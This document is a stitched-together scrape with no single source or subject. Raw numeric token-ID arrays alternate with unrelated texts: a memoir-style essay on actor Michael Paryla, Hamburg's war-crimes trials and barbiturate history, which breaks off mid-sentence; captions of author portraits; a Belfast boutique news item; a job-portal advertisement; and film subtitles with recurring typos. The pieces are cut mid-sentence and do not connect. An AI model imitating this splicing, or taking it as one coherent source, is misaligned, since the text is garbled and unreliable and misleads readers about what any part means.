11220, 26716, 272, 285, 253, 20965, 40156, 9237, 476, 9632, 1495, 14, 33897, 5917, 15, 380, 2440, 273, 13761, 2097, 326, 13, 689, 673, 273, 897, 13, 2559, 9500, 1131, 403, 2424, 281, 513, 253, 10480, 15, 2726, 2534, 2713, 321, 684, 627, 310, 417, 1199, 3064, 875, 253, 6178, 2424, 323, 9043, 318, 285, 253, 6178, 326, 476, 2847, 45753, 390, 253, 4600, 273, 253, 3846, 15, 4033, 2713, 321, 684, 452, 752, 310, 1925, 247, 6891, 9282, 3605, 15, 45699, 247, 33882, 323, 13761, 342, 247, 6891, 9282, 3605, 13, 285, 253, 1524, 5434, 32356, 275, 15, 6061, 19572, 8923, 2826, 954, 2223, 672, 2534, 2713, 321, 684, 403, 18433, 342, 643, 1305, 560, 1103, 824, 347, 7665, 15, 2635, 31120, 8923, 956, 253, 7615, 3102, 27, 597, 2826, 672, 247, 2608, 3936 ]

Paryla counts lives on his fingers. Junker von Bleichenwang in Boy Gobert's Thalia Theatre production of Was Ihr Wolt. The Curio-Haus. Rothenbaumchaussee 11. The building is named after Johann Carl Daniel Curio, the founder of Hamburg's first teacher's association. Once a meeting point for unionists and artists, today the building houses private enterprises. On the sidewalk, I scan the commercial billboard: Jura One individuelle Examensvorbereitung. STYLE HOUSE personal artist management. Axel J. Nolte RECHTSANWALTKANZLEI (Solicitor). Appeased, I walk through the archway and into the courtyard and look through the windows into the historic ballroom. Was it in here? No telling. I return to the building front, where I find the plaque: This building was established in 1911 for the society of the friends... named after Johann Carl Daniel Curio... In 1946-48 the trial by the British military court against SS-members who were responsible for crimes in the KZ Neuengamme took place here. Curious. The Michael archives, Hamburg's Jewish deportation Square, and the Curio-Haus are in close proximity. KZ stands for Konzentrationslager, meaning Concentration Camp. So the SS officers from the Neuengamme Concentration Camp were put on trial in the courtroom at the Curio-Haus, as were the Gestapo men involved in the murder of the 50 recaptured prisoners from Stalag Luft III. The plaque does not mention it but it was here that Paul Brickhill came to witness the trial proceedings. Meaning, more fearful symmetry. More tyger, tyger burning bright, in the forests of the night. Meaning I cannot put aside the idea that Michael's fate is framed by his character in the movie, the Michael who kindly assists a band of Nazi assassins, the very specific strain who were tried here in a War Crimes Court in 1948 and afterwards hung at Hamelin Gaol. In 1967, twenty years enigmatically später, Michael died, alone in his apartment on Mühlendamm Strasse, in close proximity to the Curio-Haus, where his movie-mentors—i.e. the thugs who murdered 50 British bunny rabbits—were found guilty of War Crimes. Coincidence? The jury is out. For my money, it looks like Michael may have arrived in Hamburg, in late 1966, on the surface of things to play the light and dazzling Junker Bleichenwang and also the sorely forgotten Sempronius. When in actuality Michael was summoned to Hamburg. He was summoned to stand trial, and was found guilty, but—seriously—of what crime? Leaving the university neighbourhood, I cut across town to the Asklepios Klinik St Georg. From the botanical gardens, I walk south and cross the Kennedybrücke and continue along An der Alster, skirting the Aussenalster, the large artificial lake at the heart of Hamburg. I have been a bit of a blabbermouth, over the years, when it comes to Michael's story, as you might imagine. It has gotten to the point where I have this little routine and I follow a script just as casually as I can, while listing specific dates of interest and facts, as though they were second nature. Once when I was at a party and started telling Michael's story, taking the time to set the scene and invoking a number of themes like Germany, war, acting, exile, overdose, my highly-educated captive speared his elusive martini olive and tossed out the name Klaus Mann, son of Thomas, and in no time had launched a counteroffensive involving the story of the actor Gustav Gründgens. No, my captive on this occasion was not The Filmfuehrer. He was a professor of Modern Languages. In his mind my Michael blended with Gustav Gründgens. In fact, I'm surprised Dr. Sigmund Giesing had not thought of Klaus Mann and Gründgens. So allow me the digression. Klaus Mann had a sehr complicated relationship with his Nobel Prize-winning father, Thomas, author of Buddenbrooks, Death in Venice, and The Magic Mountain. In his diaries, Thomas Mann wrote heatedly of his infant son's beauty. Raised in Munich, Klaus and sister Erika spent a theatrical childhood nestled like peas in an Oedipod. However short, any introduction to Klaus Mann is an invitation to explore the great family Mann traditions of incest, homosexuality, suicide, creative genius, and depression. Asklepios Klinik St Georg is a good thirty minute walk. Time enough to marry a few lines about Klaus Mann to a brief history of barbiturates, a detour which will get me where I want to be, finally, in regards to setting the scene of Michael's last exit. Klaus Mann's novel Mephisto is about the rise of Hendrik Höfgen, an ambitious actor in Nazi Germany, who sells his soul to the party to further his career. Mephisto was first published in Amsterdam in 1936. The openly gay Mann, stripped of German citizenship, had been living in exile since 1934. Mann's Mephisto is a roman-à-clef based on the life of Gustaf Gründgens, Klaus' brother-in-law, with whom Klaus had a brief affair. Following? Here is where it gets confusing and makes the most sense to let Wikipedia do some of the legwork: In 1924, Klaus Mann, his sister Erika, Gründgens, and Pamela Wedekind had all worked together on a stage production of Mann's Anja und Esther and had toured through Germany. Gründgens and Erika Mann got engaged while Klaus Mann similarly got engaged to Wedekind. The first two got married in 1926 but divorced in 1929... Gründgens became a renowned theater and movie director. While Mann never called Gründgens an adversary, he admitted "moved antipathy". Although he attacked Gründgens in newspaper articles, Mann hesitated to use homosexuality as a theme in the novel and decided to use "negroid masochism" as the main character's sexual preference. Mephisto's protagonist Hendrik Höfgen is an alliterative allusion to Gustav Gründgens. Gründgens was best known for his interpretation of Mephistopheles in a 1956 production of Goethe's Faust at the Deutsches Schauspielhaus in Hamburg. The Schauspielhaus stands by the exit of the Hauptbahnhof, not far from the Hansaplatz and my hotel, and not too far from Michael's former address on Mühlendamm Strasse. Gründgens is buried in Hamburg at the Ohlsdorf Cemetery. He died in 1963 by an overdose of sleeping pills while travelling in the Philippines. Wikipediately, Gründgens' last written words were: "I believe I have taken too many sleeping pills; I feel funny, let me sleep it off." Klaus Mann died of an overdose of barbiturates, too. His suicide is uncontested. In Cannes, in 1949, a reclusive and depressed Mann had called for a wave of suicides among Europe's intellectuals to protest the Cold War. After the Nazis, after years in exile, Klaus Mann had called it quits. The path to oblivion found in barbiturates and alcohol is well trodden. Michael's death in Hamburg followed on the heels of a half-century of scientific research and development. Emil Fischer and Josef von Mering published their paper on Barbital, the first hypnotic, in 1903. Von Mering had recently returned from a trip to Verona, Italy, and Barbital was given its brand name 'Veronal', for the city's glassy beauty. Veronal was manufactured by Merck in Darmstadt, Germany, the city where Michael's father Karl Paryla earned the first engagement of his career with the Reinhardt Theatre, and where Michael's parents settled into an apartment shortly after getting married in 1929. With Veronal, the barbiturate era had begun. Next born was Phenobarbital (Luminal) in 1919. Pentobarbitone (Nembutal) joined the family in 1923. Hexobarbitone (Evipan) in 1932 was one of the first short-acting agents. Thipentone (Pentothal) in 1934 is ultra-short acting. Barbiturates are classified according to their duration of action –long, intermediate, short and ultra-short—but the gratification offered by all these drugs is the same, oblivion. They endow sleep to insomniacs and for anyone in need relieve the intolerable anxiety of everyday living. But there's a downside. Barbiturates are physiologically addicting and the abstinence syndrome can trigger life-threatening symptoms. The development of tolerance means that, over time of use, increased dosages are required to do the trick. With barbiturates there is not much difference between the dose required for sedation and the dose that can cause coma or the sleep of the dead. Barbiturates have what is called a narrow therapeutic index. Pair a propensity for tolerance with a narrow therapeutic index, and the real danger kicks in. Overdose deaths occur most often when barbiturates are paired with other depressants such as alcohol. Then accidental deaths follow the familiar pattern: they occur when a user takes

[ 281, 10515, 14, 38735, 323, 436, 13497, 15, 187, 187, 23108, 416, 15, 51, 15, 8698, 187, 187, 34, 10850, 273, 596, 22334, 2488, 6086, 416, 15, 51, 15, 8698, 347, 16264, 407, 743, 5741, 31292, 91, 15, 187, 187, 41, 7694, 266, 9545, 1988, 187, 187, 34, 4667, 273, 38317, 273, 3972, 13409, 9545, 1988, 28, 253, 1755, 247, 10610, 18624, 348, 14, 38358, 13497, 407, 24944, 285, 36965, 45393, 13, 253, 5004, 310, 247, 6804, 14, 8236, 789, 407, 309, 404, 8771, 66, 304, 15, 187, 187, 41539, 443, 1468, 266, 187, 187, 41539, 443, 1468, 266, 13, 16264, 407, 1495, 14, 5056, 8317, 1080, 16908, 3044, 413, 266, 15, 187, 187, 20655, 30806, 187, 187, 20655, 30806, 13, 2488, 273, 399, 2517, 13, 407, 13916, 353, 10024, 859, 15, 187, 187, 37541, 4377, 187, 187, 54, 2967, 3627, 611, 15, 2070, 3262, 249, 187, 187, 47413, 1281, 3296, 187, 187, 44, 4405, 36372, 8265, 307, 187, 187, 15418, 49014, 3562, 8307, 273, 21780, 323, 253, 1457, 2816, 7717, 7225, 8439, 751, 253, 4394, 2326, 1840, 15, 187, 187, 11063, 4867, 404, 187, 187, 11063, 4867, 404, 13, 4102, 42628, 456, 327, 247, 530, 15, 52, 15, 5779, 486, 21463, 407, 13916, 353, 10024, 859, 285, 4321, 8392, 407, 24944, 285, 36965, 45393, 15, 187, 187, 49493, 23773, 187, 187, 1145, 5741, 31292, 91, 8924, 84, 13497, 273, 17467, 23773, 15, 187, 187, 23262, 13105, 12473, 187, 187, 1898, 4720, 13, 253, 12800, 637, 13, 2994, 13, 10734, 13105, 12473, 347, 16264, 407, 3619, 444, 983, 13816, 6626, 285, 19172, 28029, 15, 187, 187, 5892, 12086, 432, 253, 3236, 3929, 327, 353, 438, 6421, 2065, 641, 15, 187, 187, 2906, 10633, 36328, 1216, 310, 253, 820, 14, 31456, 285, 8121, 273, 46177, 27, 23428, 3258, 3975, 15, 51, 900, 285, 10869, 873, 281, 1527, 747, 4657, 275, 16225, 15894, 187, 187, 4041, 273, 44867, 434, 20088, 3515, 3907, 8142, 23928, 4624, 13, 310, 28765, 3387, 1107, 275, 2136, 13, 407, 23415, 689, 8157, 1518, 13, 933, 281, 774, 24461, 281, 247, 747, 4657, 275, 16225, 15894, 15, 187, 187, 51, 900, 708, 10869, 556, 2668, 689, 247, 495, 13, 1518, 34703, 23899, 767, 2926, 3943, 327, 253, 3216, 5254, 13, 7285, 253, 30283, 8862, 500, 23510, 401, 24726, 285, 31990, 4033, 15, 187, 187, 510, 747, 4657, 310, 873, 281, 1527, 275, 4223, 13, 342, 1638, 4750, 15, 187, 187, 51, 900, 708, 10869, 806, 5485, 697, 11008, 3387, 1107, 3622, 275, 13105, 12473, 13470, 44867, 13, 3517, 3560, 407, 767, 2007, 10111, 275, 35720, 9896, 26476, 796, 285, 840, 281, 697, 1655, 4657, 327, 42337, 13470, 15, 380, 23928, 2271, 310, 8530, 323, 697, 11855, 14234, 3104, 323, 1821, 285, 2255, 15, 187, 187, 35419, 571, 15894, 588, 5649, 432, 253, 10199, 273, 884, 4451, 17739, 326, 403, 11855, 281, 22319, 708, 10869, 323, 11442, 11011, 15, 1608, 10468, 398, 588, 1961, 273, 689, 7127, 747, 17739, 417, 2568, 6607, 275, 16225, 15894, 15, 3808, 273, 841, 4451, 4156, 8142, 3104, 2486, 27, 29572, 273, 25870, 45457, 13, 10351, 1240, 657, 23834, 13, 29954, 1417, 4693, 13, 23017, 380, 11628, 13, 28300, 26653, 285, 28642, 1219, 68, 25151, 15, 187, 187, 46022, 29480, 13, 43747, 273, 22319, 708, 10869, 753, 27, 773, 3220, 3392, 5485, 776, 806, 4657, 3387, 1107, 3622, 2403, 441, 1024, 581, 273, 253, 20088, 3515, 3907, 8142, 23928, 4624, 275, 44867, 15, 844, 403, 14442, 281, 512, 776, 6383, 665, 452, 4516, 441, 689, 253, 1107, 13, 347, 597, 457, 306, 4821, 281, 8979, 342, 441, 949, 1016, 273, 776, 774, 47575, 15, 3824, 4821, 5606, 285, 10199, 273, 4451, 15087, 3580, 13, 689, 3332, 1107, 13, 556, 1024, 873, 441, 7419, 432, 1029, 6406, 10111, 15, 844, 403, 1077, 9049, 670, 253, 2118, 285, 403, 2819, 3579, 281, 776, 747, 11638, 4758, 275, 11442, 11011, 457, 84, 954, 34544, 12701, 9145, 13, 16225, 15894, 15, 187, 187, 1628, 510, 2136, 556, 24191, 7052, 689, 253, 1390, 1643, 1107, 13, 3340, 342, 253, 10199, 285, 2323, 273, 776, 3909, 4657, 13, 2305, 395, 21707, 998, 2682, 15, 681, 13, 285, 359, 3543, 1024, 369, 253, 987, 673, 281, 2118, 281, 247, 8750, 18702, 15, 3824, 747, 3943, 310, 2030, 2558, 8750, 685, 776, 1655, 4657, 285, 310, 17860, 387, 253, 2022, 16225, 5720, 13032, 13, 342, 11906, 327, 6406, 8323, 15, 831, 4657, 588, 1918, 441, 247, 8750, 3361, 13, 6941, 441, 281, 4459, 625, 13301, 285, 3959, 776, 11349, 247, 8750, 4327, 1425, 187, 187, 1328, 2879, 27, 773, 510, 1029, 3174, 12615, 285, 4328, 273, 253, 3943, 275, 16225, 15894, 3559, 441, 342, 271, 5107, 281, 1756, 253, 2136, 15, 380, 9145, 556, 1029, 23114, 285, 45465, 247, 2257, 273, 5213, 6383, 15, 844, 457, 306, 14049, 7127, 747, 17739, 534, 403, 4451, 281, 16225, 15894, 285, 359, 403, 9979, 281, 320, 2104, 281, 3324, 776, 4451, 12701, 2793, 281, 247, 14200, 8446, 1425, 187, 187, 49085, 8698, 13, 34692, 9966, 273, 45943, 13677, 387, 40233, 6212, 41426, 20503, 27, 773, 1231, 403, 25534, 281, 452, 644, 2104, 281, 3324, 22319, 708, 10869, 281, 16225, 15894, 15, 380, 7302, 457, 84, 3061, 281, 1718, 275, 247, 747, 4657, 275, 16225, 15894, 13, 310, 43864, 281, 253, 4757, 273, 253, 6974, 347, 253, 1755, 10567, 12095, 275, 11442, 11011, 15, 844, 457, 250, 13224, 22319, 708, 10869, 588, 823, 281, 253, 2168, 11117, 10567, 9159, 275, 253, 9145, 285, 320, 247, 5699, 4352, 342, 11349, 1425, 10572, 329, 357, 284, 23037, 20174, 5427, 20859, 22397, 13160, 412, 782, 187, 187, 20067, 412, 782, 4441, 387, 33135, 74, 13, 310, 253, 747, 8017, 4913, 1146, 3715, 407, 253, 7295, 273, 47766, 15, 1916, 873, 598, 436, 2199, 13, 7295, 556, 9495, 2233, 20046, 273, 2659, 534, 310, 1024, 762, 253, 12851, 285, 10023, 273, 13160, 412, 7969, 47766, 13, 534, 310, 271, 3907, 8273, 4751, 9633, 407, 253, 7295, 15, 187, 187, 8836, 665, 1859, 436, 2628, 671, 1007, 323, 7375, 342, 1563, 28731, 187, 187, 39, 26095, 14042, 3909, 13031, 14663, 9380, 342, 6323, 1071, 3102, 13, 5560, 1066, 21626, 13, 20119, 1071, 1783, 342, 3662, 285, 8813, 310, 2130, 387, 8916, 1847, 3913, 45221, 27, 49, 20, 15, 8252, 634, 9008, 1024, 342, 367, 20, 285, 2572, 634, 2323, 1742, 357, 2878, 14059, 15, 187, 187, 8983, 271, 34839, 11028, 285, 755, 8164, 6128, 432, 4969, 2279, 285, 1682, 2434, 5250, 45227, 275, 634, 2846, 187, 187, 34, 357, 284, 23037, 20174, 5427, 20859, 22397, 13160, 412, 782, 27714, 6572, 22593, 16, 23557, 6053, 16179, 9183, 10151, 33135, 74, 15, 34, 357, 284, 23037, 20174, 5427, 20859, 22397, 13160, 412, 782, 5809, 14013, 323, 6572, 22593, 16, 23557, 6053, 16179, 310, 17875, 949, 36745, 14, 2566, 13, 28801, 281, 28801, 31466, 3966, 15, 329, 357, 284, 23037, 20174, 5427, 20859, 22397, 13160, 412, 782, 6487, 38136, 247, 2257, 273, 9183, 1046, 807, 1754, 327, 253, 6936, 378, 5964, 13, 27488, 9776, 16155, 13, 5625, 378, 5964, 15, 380, 9183, 342, 39711, 29746, 313, 1433, 42, 2769, 21749, 5526, 582, 43125, 3691, 9, 21749, 5526, 10, 403, 4236, 281, 2120, 7522, 253, 5809, 14013, 275, 27488, 6631, 1227, 18447, 15185, 2628, 1673, 15, 380, 9183, 10151, 33135, 74, 476, 4647, 323, 6572, 22593, 16, 23557, 6053, 16179, 1899, 275, 329, 357, 284, 23037, 20174, 5427, 20859, 22397, 13160, 412, 782, 15, 1876, 9183, 943, 452, 247, 4248, 390, 1501, 14, 4971, 2368, 275, 253, 2424, 1673, 1754, 327, 253, 8284, 5393, 15, 380, 7375, 403, 2130, 275, 13525, 6865, 3720, 15, 2091, 352, 3249, 281, 253, 329, 357, 284, 23037, 20174, 5427, 20859, 22397, 13160, 412, 782, 16510, 13, 9183, 403, 6571, 6777, 323, 253, 7811, 273, 27488, 6631, 1227, 18447, 15185, 964, 1916, 3037, 625, 670, 253, 1655, 7375, 285, 643, 4278, 13, 352, 310, 1805, 281, 564, 949, 3565, 2670, 273, 329, 357, 284, 23037, 20174, 5427, 20859, 22397, 13160, 412, 782, 285, 46568, 379, 2140, 2875, 15, 9985, 253, 6323, 7375, 2822, 368, 285, 2822, 634, 1728, 15, 1893, 13, 326, 368, 1053, 457, 85, 878, 281, 774, 24461, 15, 380, 46568, 379, 2140, 2875, 310, 247, 4283, 8410, 20280, 326, 29905, 2706, 253, 3565, 2670, 273, 329, 357, 284, 23037, 20174, 5427, 20859, 22397, 13160, 412, 782, 285, 3400, 512, 253, 4278, 670, 253, 1655, 5809, 14013, 13, 253, 2898, 1232, 13, 5438, 1232, 13, 4572, 1071, 4278, 13, 1774, 12282, 285, 643, 1491, 15, 14736, 285, 4647, 323, 253, 1755, 2628, 6887, 275, 329, 357, 284, 23037, 20174, 5427, 20859, 22397, 13160, 412, 782, 285, 2822, 634, 2846, 285, 755, 247, 14049, 5249, 15, 187, 187, 7093, 2898, 556, 417, 644, 2783, 347, 436, 21591, 310, 11096, 281, 41790, 330, 44975, 760, 15, 496, 1340, 281, 4647, 13, 5863, 7698, 281, 41790, 20530, 1456, 1024, 15, 187, 187, 39, 373, 3398, 14947, 15, 681, 313, 34, 10589, 4015, 511, 6487, 10, 310, 253, 1621, 15, 18, 32254, 614, 323, 46568, 3398, 275, 5427, 342, 689, 337, 15, 22, 12, 13198, 250, 501, 9181, 285, 3925, 44, 12, 12438, 398, 20252, 949, 441, 15, 39530, 281, 9872, 353, 9431, 32254, 1227, 7295, 7375, 407, 41863, 1024, 2, 1737, 457, 84, 625, 32, 5057, 5312, 2628, 10028, 13, 14663, 2929, 285, 443, 44, 11269, 1046, 1388, 327, 634, 4579, 15, 46568, 3398, 14947, 15, 681, 313, 34, 10589, 4015, 511, 6487, 10, 253, 760, 4422, 323, 9433, 281, 21806, 85, 32254, 285, 1755, 353, 9431, 32254, 512, 689, 5427, 15, 13106, 3954, 281, 5649, 432, 776, 25470, 34183, 379, 7106, 3238, 2, 42, 1833, 452, 368, 871, 13, 309, 35273, 619, 9970, 987, 1078, 309, 27215, 247, 2120, 5253, 273, 13735, 14709, 15, 187, 187, 18359, 10764, 3, 9707, 611, 2637, 3, 346, 510, 2926, 310, 256, 833, 327, 4588, 3394, 449, 346, 44906, 310, 417, 1060, 449, 346, 7845, 3553, 634, 3935, 449, 346, 4374, 865, 346, 12092, 865, 346, 4374, 865, 346, 7883, 310, 352, 865, 346, 55, 356, 293, 261, 13, 310, 352, 368, 865, 346, 34, 445, 626, 368, 1469, 281, 4600, 865, 346, 3039, 403, 359, 6108, 865, 346, 6892, 2183, 479, 344, 1833, 1361, 368, 449, 346, 1328, 434, 6179, 323, 368, 449, 346, 1231, 1472, 327, 1027, 5149, 16095, 449, 346, 42, 1353, 7746, 368, 359, 943, 3553, 1051, 285, 368, 1472, 7746, 479, 281, 3297, 285, 326, 4661, 588, 1361, 479, 449, 346, 42, 1053, 626, 2096, 3255, 346, 1394, 1472, 6276, 479, 10412, 449, 346, 42, 1053, 626, 2057, 449, 346, 1394, 403, 6276, 479, 10412, 449, 346, 1394, 12316, 479, 3255, 346, 1898, 752, 858, 368, 1902, 479, 281, 1333, 865, 346, 2302, 865, 346, 510, 5083, 310, 326, 309, 1904, 626, 11329, 12876, 368, 449, 346, 1394, 497, 275, 5754, 449, 346, 42, 1904, 626, 1705, 281, 789, 449, 346, 42, 1353, 6108, 449, 346, 42, 2210, 281, 755, 619, 3392, 434, 5657, 449, 346, 42, 1849, 1694, 731, 449, 346, 3726, 1364, 396, 275, 253, 7145, 689, 627, 449, 346, 30597, 601, 1476, 346, 1394, 1849, 4391, 594, 1199, 1476, 346, 1898, 368, 3663, 2801, 13, 637, 1476, 346, 8917, 368, 755, 562, 273, 5754, 3063, 865, 346, 42, 1353, 1469, 275, 3063, 449, 346, 6723, 368, 10826, 865, 346, 28986, 449, 346, 1898, 368, 865, 346, 2513, 326, 752, 3858, 513, 13, 368, 27964, 865, 346, 1394, 1472, 562, 285, 642, 581, 23238, 432, 368, 449, 346, 1276, 434, 598, 865, 346, 1394, 4391, 634, 1007, 13, 1512, 865, 346, 42, 10693, 25048, 368, 449, 346, 2042, 309, 8715, 626, 3735, 368, 2312, 3255, 346, 12923, 518, 13, 368, 37937, 449, 346, 1276, 434, 326, 2048, 327, 634, 2454, 865, 346, 6892, 753, 359, 943, 1705, 285, 1379, 368, 281, 779, 449, 346, 1328, 5605, 281, 5717, 368, 323, 3255, 346, 1328, 753, 13, 5913, 368, 878, 449, 346, 1147, 434, 10826, 449, 346, 5498, 626, 396, 247, 33702, 2522, 449, 346, 42, 871, 849, 352, 310, 449, 346, 5498, 626, 5181, 479, 969, 449, 346, 5498, 626, 5181, 479, 390, 309, 1833, 7435, 368, 449, 346, 37, 8, 5658, 2096, 865, 346, 41145, 352, 13, 637, 449, 346, 1394, 1849, 396, 3188, 1524, 5181, 90, 449, 346, 35, 505, 472, 1476, 346, 1276, 277, 8, 5658, 971, 479, 281, 1333, 1024, 865, 346, 42 ]

to Middle-Earth for this painting. George R.R. Martin A Game of Thrones author George R.R. Martin as painted by Anita Kunz. Harlan Ellison A pair of portraits of Harlan Ellison; the top a classic Bosch-inspired painting by Leo and Diane Dillon, the bottom is a mixed-media work by Iain McCaig. Neil Gaiman Neil Gaiman, painted by life-long collaborator Dave Mckean. Frank Herbert Frank Herbert, author of Dune, by Greg Manchess. Stephen King Ursula K. Le Guin Jonathan Lethem Kurt Vonnegut David Levin created hundreds of drawings for the New York Times Book Review like the ones seen above. Mark Twain Mark Twain, recently commemorated on a U.S. Postage stamp by Greg Manchess and earlier drawn by Leo and Diane Dillon. Anne Rice Anita Kunz‘s painting of Anne Rice. Ray Bradbury And finally, the illustrated man, himself, Ray Bradbury as painted by Ed Emshwiller and Dean Ellis. Expanded from the original article on Muddy Colors. Arnie Fenner is the co-founder and editor of Spectrum: Fantastic Art.Rio and Brazil set to open new store in Victoria Square One of Belfast's longest running independent fashion boutiques, is celebrating 40 years in business, by investing over £200,000 to relocate to a new store in Victoria Square. Rio & Brazil has taken over a 3,200 sq ft two story unit on the ground floor, opposite the ionic yellow Jaffe Fountain and Kitchen Bar. The new store is set to open in August, with 14 staff. Rio & Brazil first opened its doors 40 years ago in Bradbury Place Belfast, soon followed by two further stores in Donegal Arcade and then to its current store on Wellington Place. The boutique is famous for its exclusive clothing lines for men and women. Victoria Square will benefit from the introduction of 10 unique brands that are exclusive to Rio & Brazil for Northern Ireland. Shoppers will avail of over 44 new brands not yet represented in Victoria Square. Some of these unique global fashion lines include: Circle of Gentlemen, Farah Vintage, Matchless London, Save The Queen, Pom Amsterdam and Ana Alcazar. Steven Simpson, Owner of Rio & Brazil said: “My father opened our first store 40 years ago making us now one of the longest running independent fashion boutiques in Belfast. We are grateful to all our customers who have supported us over the years, as they’ve continued to shop with us through each of our relocations. Our continued evolution and introduction of unique premium products, over recent years, has now set us apart from high street stores. We are very excited about the move and are looking forward to our new convenient setting in Northern Ireland’s most prestigious shopping centre, Victoria Square. “The business has traded strongly over the last few years, especially with the introduction and success of our online store, MrandMrsStitch.com, and we felt now was the right time to move to a bigger premises. Our new unit is 25 percent bigger than our current store and is situated at the main Victoria Street entrance, with prominent on street windows. This store will give us a bigger presence, allowing us to carry more labels and offer our consumers a bigger choice.” He added: “The high footfall and location of the unit in Victoria Square presented us with an opportunity to grow the business. The centre has high visibility and attracts a lot of international customers. We’ve secured 44 new brands which are unique to Victoria Square and we are proud to be able to bring our unique shopping experience to a wider audience.” Gary Martin, Associate Director of Retail Agency at Lambert Smith Hampton commented: “We are delighted to have been able to bring Rio & Brazil to Victoria Square. The owner’s decision to invest in a new store in Victoria Square, is testament to the strength of the scheme as the top retail destination in Northern Ireland. We’re confident Rio & Brazil will add to the already diverse retail offering in the centre and be a huge hit with consumers.”About Aabasoft Technologies India Private Limited Infopark Infopark located at Kochi, is the new IT Park being developed by the Government of Kerala. To set up this project, Government has transferred 100 acres of land which is now under the ownership and possession of Infoparks Kerala, which is an independent Society fully owned by the Government. People who view this job also look for jobs with following keywords Fully solved online mock placement papers with latest test pattern,count down timer,detail test analysis with answer and explanation is available at Power Placement Preparation:P3.Start your preparation now with P3 and increase your success probabiltiy. Post an enquiry and get instant responses from institutes and best Coaching Classes in your city Aabasoft Technologies India Private Limited Infopark recruiting Trainee/ Technical Supervisor candidates nearby Kochi.Aabasoft Technologies India Private Limited Infopark vacancies for Trainee/ Technical Supervisor is recruited through Written-test, Face to Face Interview etc. Aabasoft Technologies India Private Limited Infopark Company recruits a lot of candidates every year based on the skills BPO, Customer Care Executive, International BPO. The candidates with Certificate Course (ITI)(Electrical), Diploma(Electrical) are selected to full fill the vacancies in Customer Service / Tech Support job field. The candidates nearby Kochi can apply for Trainee/ Technical Supervisor position in Aabasoft Technologies India Private Limited Infopark. All candidates should have a degree or post-graduation in the required field based on the requirement mentioned. The jobs are available in Full Time basis. When it comes to the Aabasoft Technologies India Private Limited Infopark recruitment, candidates are mostly chosen for the department of Customer Service / Tech Support. To learn more about the current jobs and other details, it is better to go through official site of Aabasoft Technologies India Private Limited Infopark and Freshersworld. Find the latest jobs near you and near your home. So, that you don’t need to relocate. The Freshersworld is a leading employment portal that researches the official site of Aabasoft Technologies India Private Limited Infopark and provides all the details about the current vacancies, the application process, selection process, interview test details, important dates and other information. Search and apply for the top job positions in Aabasoft Technologies India Private Limited Infopark and near your city and get a secured career. Your application has not been considered as this Job is restricted to Premium Candidates only. In order to apply, Upgrade to Premium Membership now. FreshersWorld.com (A TeamLease Company) is the No.1 Jobsite for Freshers in India with over 1.5+ Crore resumes and 60K+ recruiters hiring through us. Apply to Top MNC Jobs / Government jobs by registering now! What’s more? Get daily job alert, placement paper and GK updates every day on your email. FreshersWorld.com (A TeamLease Company) the only website for applying to Govt Jobs and top MNC Jobs all over India. Register Now to benefit from our unlimited fresher focused services!I'll have you know, I brushed my teeth right before I drank a full glass of orange juice. 189 shares"THE KING" "The story is sased on actual events." "Maria is not here." "Please leave your message." "Yes?" "Hello?" "Yes?" "Who is it?" "Vagelis, is it you?" "Aren't you going to sleep?" "When are we leaving?" "Che told me he'll help you." "He's waiting for you." "We're on different wave lengths." "I'm telling you we should leave... and you're telling me to stay and that Che will help me." "I don't understand..." "You're driving me crazy." "I don't either." "You are driving me crazy." "You promised me..." "And what did you expect me to say?" "No?" "The truth is that I didn't selieve you." "You were in prison." "I didn't come to work." "I'm leaving." "I came to get my father's tools." "I've got them." "They must se in the corner over there." "Fatso!" "You've changed so much!" "And you lost weight, man!" "Did you get out of prison today?" "I'm going in today." "Are you OK?" "Fine." "And you?" "Is that what friends do, you jerk?" "You're out and no one hears from you." "What's up?" "You changed your look, too?" "I hardly recognised you." "If I hadn't heard you talk..." "Speak, you prick." "What's that expression on your face?" "Che said we should come and take you to him." "He wants to thank you for..." "He said, whatever you need." "It's OK." "Don't se a dickhead." "I know how it is." "Don't touch me again." "Don't touch me or I'll fuck you." "D'you understand?" "Cool it, man." "You've secome real touchy." "Bastard!" "What d'you want me to say now?" "I

[ 14679, 273, 253, 6970, 387, 2716, 14, 4090, 1983, 6437, 5743, 313, 3433, 1714, 13, 295, 41, 10, 285, 2716, 14, 4090, 1983, 4719, 273, 6437, 5743, 313, 4625, 95, 1235, 48307, 380, 7533, 323, 1016, 4764, 403, 7117, 1840, 275, 13277, 15, 544, 1470, 15, 374, 35, 1084, 2041, 14, 361, 3680, 28757, 14, 72, 4699, 910, 709, 14, 881, 568, 926, 986, 2722, 19690, 9990, 5118, 432, 16094, 5113, 7478, 275, 1052, 21443, 12421, 4236, 432, 884, 3907, 4679, 342, 1384, 4236, 21443, 591, 3368, 313, 79, 6250, 30, 6250, 42389, 2090, 5113, 13, 608, 16607, 15, 26, 3069, 1093, 1508, 15, 25, 5113, 16, 16217, 2092, 13, 30092, 15, 20, 3069, 4739, 15, 19, 5113, 16, 4714, 481, 380, 9930, 3148, 253, 1599, 1180, 273, 5113, 27852, 7388, 10, 326, 497, 7607, 591, 3368, 846, 19690, 407, 253, 3602, 13, 13507, 95, 1235, 95, 313, 2504, 2405, 3069, 1093, 2055, 28, 5091, 3069, 24, 9498, 14679, 313, 2031, 1423, 3069, 1093, 1619, 28, 11130, 3069, 25, 9498, 416, 63, 19, 63, 313, 21, 17184, 3069, 9595, 10523, 3069, 1012, 2673, 285, 13803, 39, 313, 1812, 883, 3069, 35432, 28, 10677, 3069, 1047, 9498, 2975, 15, 2091, 512, 1740, 3602, 497, 5678, 13, 5512, 2716, 273, 512, 7478, 5113, 497, 10945, 313, 1731, 1047, 3069, 40010, 5113, 13, 8319, 3069, 24, 10970, 544, 1470, 15, 374, 36, 1084, 2041, 14, 361, 3680, 28757, 14, 72, 4699, 910, 709, 14, 881, 568, 926, 986, 6125, 12650, 10945, 313, 11958, 13, 295, 6250, 30, 6250, 2222, 10, 285, 7607, 313, 35579, 13, 295, 6250, 30, 6250, 20270, 10, 4719, 14, 10927, 9191, 5118, 432, 11348, 6298, 4080, 275, 247, 12421, 4236, 973, 313, 79, 6250, 30, 6250, 27571, 481, 380, 14261, 14, 14095, 275, 544, 1470, 15, 374, 37, 1084, 2041, 14, 361, 3680, 28757, 14, 72, 4699, 910, 709, 14, 881, 568, 926, 986, 2722, 253, 5886, 273, 13507, 95, 1235, 95, 285, 14679, 2193, 15, 831, 6779, 369, 908, 4768, 436, 1263, 347, 352, 4136, 2590, 7985, 11081, 273, 5799, 5164, 7625, 15, 1876, 23581, 323, 10945, 5113, 13, 253, 1180, 273, 5950, 4719, 14, 15994, 265, 591, 973, 